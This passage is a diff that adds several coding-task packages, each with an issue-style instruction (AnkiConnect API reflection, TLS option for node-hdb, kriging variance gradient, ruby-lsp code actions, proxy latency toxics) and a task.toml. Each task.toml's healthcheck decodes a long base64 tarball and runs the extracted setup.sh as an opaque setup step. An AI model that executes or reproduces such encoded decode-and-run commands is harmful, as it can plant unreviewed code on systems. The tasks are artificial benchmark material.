ACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000087/instruction.md ADDED
@@ -0,0 +1,23 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ ## Feature request: a way to query which API actions are available
4
+
5
+ I'm building a third-party tool on top of AnkiConnect (similar to how Yomichan integrates with it) and I'd like to do **feature detection** at runtime — i.e. before I call some action, figure out whether the user's installed AnkiConnect actually supports it.
6
+
7
+ The use case is pretty standard: AnkiConnect grows new actions over time, and not every user is on the same version. If my tool wants to use a newer action when it's available and fall back to something else when it isn't, I need a way to ask the server "do you support action X?".
8
+
9
+ Right now the only way I've found to do this is to just go ahead and send the request, and then look at the response — if I get back
10
+
11
+ ```json
12
+ {"result": null, "error": "unsupported action"}
13
+ ```
14
+
15
+ then I know it's not supported. This works, but it's pretty awkward:
16
+
17
+ - I have to actually invoke the action (with plausible-looking params) just to probe for it, which feels wrong for actions that have side effects.
18
+ - If I want to probe several candidate actions to pick the best one available, I have to fire one request per action and parse the error string of each. There's no batch way to do it.
19
+ - "Parse the error message of a failed call" isn't a great contract to build on — it would be nicer to have a first-class way to ask the question.
20
+
21
+ Could AnkiConnect expose a dedicated action for this? Something I can call to either get the list of all actions this instance supports, or to pass in a list of action names I care about and have the server tell me which subset of those it actually has. That way third-party clients can do clean capability checks without abusing the error path.
22
+
23
+ Happy to consume whatever shape of response makes sense on your side — I mainly just need the information to be queryable through the normal request/response interface. The new action I'd expect is something like `apiReflect`, taking `scopes` and `actions` params and returning a result keyed by those same scope names (e.g. `{"scopes": [...], "actions": [...]}`).
tasks/format-code-task-000087/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000087"
5
+ description = "Feature request: a way to query which API actions are available"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Python"
11
+ domain = "code"
12
+ keywords = ["code", "Python"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000087"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "Feature request: a way to query which API actions are available"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:7ccc494b08b3f8f4b2dd67c2957845ff95ce2a2af29201ad9abe4ed14d548399"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm54as0jFApIv+11D777qZVs+CoRNmnTKbeR0sUaalSrU54DxKOa2z6BaMp1zeUAPS21qkRbRYVSBXLOvx7aq860EtluhA5UaNaUQ/nawkRr+n2mwpiWm0gZE+bt3d3QktuBsyjjs4EP78PA7k5IyaJKdX/7HButbhdQQbK6GJrLq/4A3EwLgAf0O/0fRthDcCJA7T7eA2AG37n/YNMHl7aS0Y47w5lOyyjRbHbPBZalUzXjOpdq7m/+z/PfcNs2kSl/Tx6P1P/vz/9yNqz/KP9nZ/v6/4fU/29iJEycMFMGT+htWxtSdcqfEzOklbLPKXE1jpMtOflW4HJAW3NBr5lOlH5m6D2vZ0KrunK1tORM2jIteTr9QG3dIF8MHgtDuZIZ1yRqq8AqnjEdS5HEy/6TkXbMUTzpb7zmmlmeUbLw7WlSelaXyEsODENvX13/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kkMrnKBWI8RMgYFA3veIPtOKcT3E5w/xK2mrvaFTYcfdxnT7THPilygji+vtBU5w1fWJS074fn5//SqE8u3W0RzaBcNMnybVKsk2ii56tENyiFyzXyU8Qn++SzacdcUk3tJsyHbk8Q1/gXe9I6qLlSWbAR0VZqe+Rx89tvE7bxXN1U88V5YAhKW4PPPZ9ASMgjjr4gKP7Lbzo9nFGI3W4qFvjxFLptUi8YKVUcVahLKRwmBwXCVa/HJI5K73675YkCpEcnZLYofv00laslVjU49gctbVIAeOFGYaDAIVA0KN+aE3lVUtma66AFmvM5QdDcADH86Q6XTto8GXZo+nVmKT8HJcsxByvU4zFwNGTDoHyNX3iXvM2T4Jrd9lC6rNgB4f3hdDym8YbXI4a/Iqkr2hb5PKPIfhKFrPD1ohr4S1nxu7AJk740bQefoLiyqF+vo+/VoHYDhu39c/+vd63/+Et0wDX+qhzdhN6OYr2D4evHI/ZDMr8fbS8cw2m9aKVjsgkFInn0Ns/NM7IPedP0g9AdXbQcoGePVrnazjdZJ3CWC2X4NbUz4Gwpuwu64HKL5/MD4+B7DgJ8XRhQW+CigD92ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000240/instruction.md ADDED
@@ -0,0 +1,25 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ Add an option to use encrypted connection
4
+ Currently to use an encrypted connection the client needs to pass some certificates.
5
+ https://github.com/SAP/node-hdb#encrypted-network-communication
6
+ If HANA server is using a certificate signed by a public CA like VeriSign, there is no need to pass custom certificates as most public certificates are builtin in node.js. See `ca` optin in [tls.createSecureContext](https://nodejs.org/docs/latest/api/tls.html#tls_tls_createsecurecontext_options).
7
+ For such cases it would be useful to have a separate option to enable encryption, e.g.
8
+ ```js
9
+ var client = hdb.createClient({
10
+ host : 'hostname',
11
+ port : 30015,
12
+ ssl: true,
13
+ ...
14
+ });
15
+ ```
16
+ Probably a better name should be used as node actually uses TLS.
17
+ As a workaround you can pass `ca: undefined`
18
+ ```js
19
+ var client = hdb.createClient({
20
+ host : 'hostname',
21
+ port : 30015,
22
+ ca: undefined,
23
+ ...
24
+ });
25
+ ```
tasks/format-code-task-000240/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000240"
5
+ description = "Add an option to use encrypted connection"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "JavaScript"
11
+ domain = "code"
12
+ keywords = ["code", "JavaScript"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000240"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "Add an option to use encrypted connection"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:8165cb98c8ca4f4eec0e42f651bba876ab107bc77a39d785c054386cfde4a00d"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm54as0jFApIv+11D777qZVs+CoRNmnTKbeR0sUaalSrU54DxKOa2z6BaMp1zeUAPS21qkRbRYVSBXLOvx7aq860EtluhA5UaNaUQ/nawkRr+n2mwpiWm0gZE+bt3d3QktuBsyjjs4EP78PA7k5IyaJKdX/7HButbhdQQbK6GJrLq/4A3EwLgAf0O/0fRthDcCJA7T7eA2AG37n/YNMHl7aS0Y47w5lOyyjRbHbPBZalUzXjOpdq7m/+z/PfcNs2kSl/Tx6P1P/vz/9yNqz/KP9nZ/v6/4fU/29iJEycMFMGT+htWxtSdcqfEzOklbLPKXE1jpMtOflW4HJAW3NBr5lOlH5m6D2vZ0KrunK1tORM2jIteTr9QG3dIF8MHgtDuZIZ1yRqq8AqnjEdS5HEy/6TkXbMUTzpb7zmmlmeUbLw7WlSelaXyEsODENvX13/9OYVKGoq1Zw4S0uIxRuqWANuiv4jGKohZMPLmhsTBW+uBhyD9xTmNDp8E2vOssWIPtDTp8RvhaVxkJaVyggh6xBGQc6EPDqmT8TTUtHIp8wFHZ6M6OXTF5fdo9NL+gKtvJUe66UwbtNIAf0gacxtGpfKQCtou7GyFkVpieXWmczCajC7lCaYa2H5ZE3Xy5U2XpN8OMuNPHBzdBJCxB/RXS9oLQ31nGfijFkG/UysGl53/Wbi2nHULO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K73675YkCpEcnZLYofv00laslVjU49gctbVIAeOFGYaDAIVA0KN+aE3lVUtma66AFmvM5QdDcADH86Q6XTto8GXZo+nVmKT8HJcsxByvU4zFwNGTDoHyNX3iXvM2T4Jrd9lC6rNgB4f3hdDym8YbXI4a/Iqkr2hb5PKPIfhKFrPD1ohr4S1nxu7AJk740bQefoLiyqF+vo+/VoHYDhu39c/+vd63/+Et0wDX+qhzdhN6OYr2D4evHI/ZDMr8fbS8cw2m9aKVjsgkFInn0Ns/NM7IPedP0g9AdXbQcoGePVrnazjdZJ3CWC2X4NbUz4Gwpuwu64HKL5/MD4+B7DgJ8XRhQW+CigD92ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000241/instruction.md ADDED
@@ -0,0 +1,26 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ ## Convenient access to the variance gradient at a single point in kriging surrogates
4
+
5
+ I'm using `KRG` (and the MFK variants) for some Bayesian-optimization-flavoured work where, at a candidate point `x*`, I need the gradient of the predicted variance — i.e. the partial derivatives of the variance with respect to *all* input dimensions, evaluated at that one point.
6
+
7
+ Looking at the public API of `SurrogateModel` / kriging-based models, the only thing I can find for variance derivatives is `predict_variance_derivatives(x, kx)`, which gives the derivative with respect to a single input component `kx`. So if my problem has `nx` inputs and I want the gradient at a point, I end up doing something like:
8
+
9
+ ```python
10
+ grad = np.array([
11
+ sm.predict_variance_derivatives(x_star, kx).ravel()
12
+ for kx in range(x_star.shape[1])
13
+ ])
14
+ ```
15
+
16
+ This works but feels off:
17
+
18
+ * It's `nx` separate predict calls for what is conceptually one quantity at one point.
19
+ * Every caller that wants "variance gradient at a point" has to re-implement the same loop + stacking + shape massaging, and it's easy to get the orientation of the resulting array wrong.
20
+ * For acquisition functions / optimizers that ask the surrogate for a gradient at the current iterate, this is the natural thing to want directly from the model.
21
+
22
+ It would be great if kriging-based surrogates exposed a first-class way to ask, in one call, for the gradient of the variance at a given point — taking an `x` of shape `(1, nx)` (and ideally accepting a plain `(nx,)` vector for convenience) and returning the full vector of partials at that point.
23
+
24
+ For context, `predict_variance_derivatives(x, kx)` already covers the "set of points, one component" case and should keep working as it does today; what's missing is the dual "one point, all components" case. The two together would cover the typical use cases nicely.
25
+
26
+ A natural name for the new entry point would be something like `predict_variance_gradient(x)`.
tasks/format-code-task-000241/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000241"
5
+ description = "Convenient access to the variance gradient at a single point in kriging surrogates"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Python"
11
+ domain = "code"
12
+ keywords = ["code", "Python"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000241"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "Convenient access to the variance gradient at a single point in kriging surrogates"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:e25a6e6879b755cfc4d32b444f12f690d66c57699754021e08e3d67e2c527765"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm54as0jFApIv+11D777qZVs+CoRNmnTKbeR0sUaalSrU54DxKOa2z6BaMp1zeUAPS21qkRbRYVSBXLOvx7aq860EtluhA5UaNaUQ/nawkRr+n2mwpiWm0gZE+bt3d3QktuBsyjjs4EP78PA7k5IyaJKdX/7HButbhdQQbK6GJrLq/4A3EwLgAf0O/0fRthDcCJA7T7eA2AG37n/YNMHl7aS0Y47w5lOyyjRbHbPBZalUzXjOpdq7m/+z/PfcNs2kSl/Tx6P1P/vz/9yNqz/KP9nZ/v6/4fU/29iJEycMFMGT+htWxtSdcqfEzOklbLPKXE1jpMtOflW4HJAW3NBr5lOlH5m6D2vZ0KrunK1tORM2jIteTr9QG3dIF8MHgtDuZIZ1yRqq8AqnjEdS5HEy/6TkXbMUTzpb7zmmlmeUbLw7WlSelaXyEsODENvX13/9OYVKGoq1Zw4S0uIxRuqWANuiv4jGKohZMPLmhsTBW+uBhyD9xTmNDp8E2vOssWIPtDTp8RvhaVxkJaVyggh6xBGQc6EPDqmT8TTUtHIp8wFHZ6M6OXTF5fdo9NL+gKtvJUe66U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9I6qLlSWbAR0VZqe+Rx89tvE7bxXN1U88V5YAhKW4PPPZ9ASMgjjr4gKP7Lbzo9nFGI3W4qFvjxFLptUi8YKVUcVahLKRwmBwXCVa/HJI5K73675YkCpEcnZLYofv00laslVjU49gctbVIAeOFGYaDAIVA0KN+aE3lVUtma66AFmvM5QdDcADH86Q6XTto8GXZo+nVmKT8HJcsxByvU4zFwNGTDoHyNX3iXvM2T4Jrd9lC6rNgB4f3hdDym8YbXI4a/Iqkr2hb5PKPIfhKFrPD1ohr4S1nxu7AJk740bQefoLiyqF+vo+/VoHYDhu39c/+vd63/+Et0wDX+qhzdhN6OYr2D4evHI/ZDMr8fbS8cw2m9aKVjsgkFInn0Ns/NM7IPedP0g9AdXbQcoGePVrnazjdZJ3CWC2X4NbUz4Gwpuwu64HKL5/MD4+B7DgJ8XRhQW+CigD92ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000246/instruction.md ADDED
@@ -0,0 +1,22 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ ## Code actions feel stale after I move the cursor, and RuboCop seems to run on every keystroke
4
+
5
+ I've been using ruby-lsp in VS Code on a moderately sized Ruby file that has several RuboCop offenses spread across the file (say, an indentation issue near the top, a string-quote issue further down, etc.).
6
+
7
+ ### What I'm seeing
8
+
9
+ When I put my cursor on the first offense and open the lightbulb / quick fix menu, I get the expected fix for that offense. So far so good.
10
+
11
+ Then I scroll down and click on a *different* offense in another part of the file. I expect the quick fix menu to show me an action for *this* offense. Instead I keep getting the same code action I got the first time, as if the editor is still showing me suggestions for the previous cursor location. If I keep moving around, the suggestions don't seem to track where I actually am in the file — they look frozen on whatever range was used the first time `textDocument/codeAction` fired for this file.
12
+
13
+ ### And separately (but I suspect related)
14
+
15
+ While poking at this, I noticed the editor stalls noticeably every time code actions get requested, even when I haven't edited the file at all between requests — just moved the cursor. Watching activity, it looks like RuboCop is being re-run from scratch over and over for the same unchanged file contents. For a file that hasn't changed, re-analyzing it every time the cursor moves feels wrong and is making the experience pretty laggy.
16
+
17
+ ### What I'd expect
18
+
19
+ - Code actions should reflect the current selection / visible range. Moving my cursor to a different offense should give me the fix for *that* offense, not a cached one from earlier.
20
+ - Re-analyzing the file with RuboCop when nothing about the file has changed seems wasteful — that part I'd expect to be reused across requests on the same unchanged document.
21
+
22
+ Right now it feels like the two are inverted: the thing that depends on where I'm looking is sticky, and the thing that doesn't depend on where I'm looking is being recomputed every time.
tasks/format-code-task-000246/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000246"
5
+ description = "Code actions feel stale after I move the cursor, and RuboCop seems to run on every keystroke"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Ruby"
11
+ domain = "code"
12
+ keywords = ["code", "Ruby"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000246"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "Code actions feel stale after I move the cursor, and RuboCop seems to run on every keystroke"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:d77cdf222d398c0cce7727295d950fed781c8bb13ac9da6b79ce7243a2eff991"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm54as0jFApIv+11D777qZVs+CoRNmnTKbeR0sUaalSrU54DxKOa2z6BaMp1zeUAPS21qkRbRYVSBXLOvx7aq860EtluhA5UaNaUQ/nawkRr+n2mwpiWm0gZE+bt3d3QktuBsyjjs4EP78PA7k5IyaJKdX/7HButbhdQQbK6GJrLq/4A3EwLgAf0O/0fRthDcCJA7T7eA2AG37n/YNMHl7aS0Y47w5lOyyjRbHbPBZalUzXjOpdq7m/+z/PfcNs2kSl/Tx6P1P/vz/9yNqz/KP9nZ/v6/4fU/29iJEycMFMGT+htWxtSdcqfEzOklbLPKXE1jpMtOflW4HJAW3NBr5lOlH5m6D2vZ0KrunK1tORM2jIteTr9QG3dIF8MHgtDuZIZ1yRqq8AqnjEdS5HEy/6TkXbMUTzpb7zmmlmeUbLw7WlSelaXyEsODENvX13/9OYVKGoq1Zw4S0uIxRuqWANuiv4jGKohZMPLmhsTBW+uB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nT7THPilygji+vtBU5w1fWJS074fn5//SqE8u3W0RzaBcNMnybVKsk2ii56tENyiFyzXyU8Qn++SzacdcUk3tJsyHbk8Q1/gXe9I6qLlSWbAR0VZqe+Rx89tvE7bxXN1U88V5YAhKW4PPPZ9ASMgjjr4gKP7Lbzo9nFGI3W4qFvjxFLptUi8YKVUcVahLKRwmBwXCVa/HJI5K73675YkCpEcnZLYofv00laslVjU49gctbVIAeOFGYaDAIVA0KN+aE3lVUtma66AFmvM5QdDcADH86Q6XTto8GXZo+nVmKT8HJcsxByvU4zFwNGTDoHyNX3iXvM2T4Jrd9lC6rNgB4f3hdDym8YbXI4a/Iqkr2hb5PKPIfhKFrPD1ohr4S1nxu7AJk740bQefoLiyqF+vo+/VoHYDhu39c/+vd63/+Et0wDX+qhzdhN6OYr2D4evHI/ZDMr8fbS8cw2m9aKVjsgkFInn0Ns/NM7IPedP0g9AdXbQcoGePVrnazjdZJ3CWC2X4NbUz4Gwpuwu64HKL5/MD4+B7DgJ8XRhQW+CigD92ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000247/instruction.md ADDED
@@ -0,0 +1,52 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ # Add configurable "toxics" to proxies
4
+
5
+ Right now a proxy is a dumb pipe: whatever a client sends is forwarded verbatim to the
6
+ upstream and back. We want to be able to deliberately degrade a proxied connection so we can
7
+ test how applications behave against a flaky network. The first degradation we need is
8
+ **latency**.
9
+
10
+ Introduce the notion of a *toxic* that can be attached to a proxy, independently for each of
11
+ the two traffic directions:
12
+
13
+ - **upstream** — data travelling from the client toward the upstream server.
14
+ - **downstream** — data travelling from the upstream server back to the client.
15
+
16
+ ## HTTP API
17
+
18
+ Add these endpoints to the existing API server (the one that already serves `/proxies`):
19
+
20
+ - `GET /proxies/{proxy}/upstream/toxics`
21
+ - `GET /proxies/{proxy}/downstream/toxics`
22
+
23
+ Returns a JSON object that maps each available toxic's name to its current state. A freshly
24
+ created proxy must already list a toxic named `latency` in **both** directions, and that
25
+ toxic must start **disabled**. The latency toxic's state is a JSON object with these fields:
26
+ `enabled` (bool), `latency` (number, milliseconds) and `jitter` (number, milliseconds). On a
27
+ new proxy it reads `{"enabled": false, "latency": 0, "jitter": 0}`.
28
+
29
+ - `POST /proxies/{proxy}/upstream/toxics/{name}`
30
+ - `POST /proxies/{proxy}/downstream/toxics/{name}`
31
+
32
+ Sets the complete desired state of the named toxic for that direction from the JSON request
33
+ body and responds with the resulting toxic state as JSON. The body fully specifies the new
34
+ state: any field that is omitted is reset to its zero value (so `enabled` defaults to
35
+ `false`, and `latency`/`jitter` default to `0`). The change must persist — a subsequent
36
+ `GET` reflects it — and must affect **only** the direction it was posted to; the same toxic
37
+ in the other direction is left untouched.
38
+
39
+ ### Errors
40
+
41
+ - A request for a proxy that does not exist responds with HTTP `404`.
42
+ - A `POST` to a toxic name that does not exist responds with HTTP `404`.
43
+
44
+ ## Behavior
45
+
46
+ The latency toxic must actually slow traffic down, not just record settings. When the
47
+ `latency` toxic is enabled with a latency of *L* milliseconds (and `jitter` 0) on a direction,
48
+ data flowing in that direction is delayed by approximately *L* milliseconds before it reaches
49
+ the other side. A direction whose latency toxic is disabled forwards data with no added delay,
50
+ exactly as before.
51
+
52
+ Configuration applied before a client connects takes effect for that connection.
tasks/format-code-task-000247/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000247"
5
+ description = "Add configurable \"toxics\" to proxies"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Go"
11
+ domain = "code"
12
+ keywords = ["code", "Go"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000247"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "Add configurable \"toxics\" to proxies"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:f1ebfd63bea42bb71a2475aa2686d38ca9f84b89041d7390fe52252a505db585"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm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g0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000248/instruction.md ADDED
@@ -0,0 +1,23 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
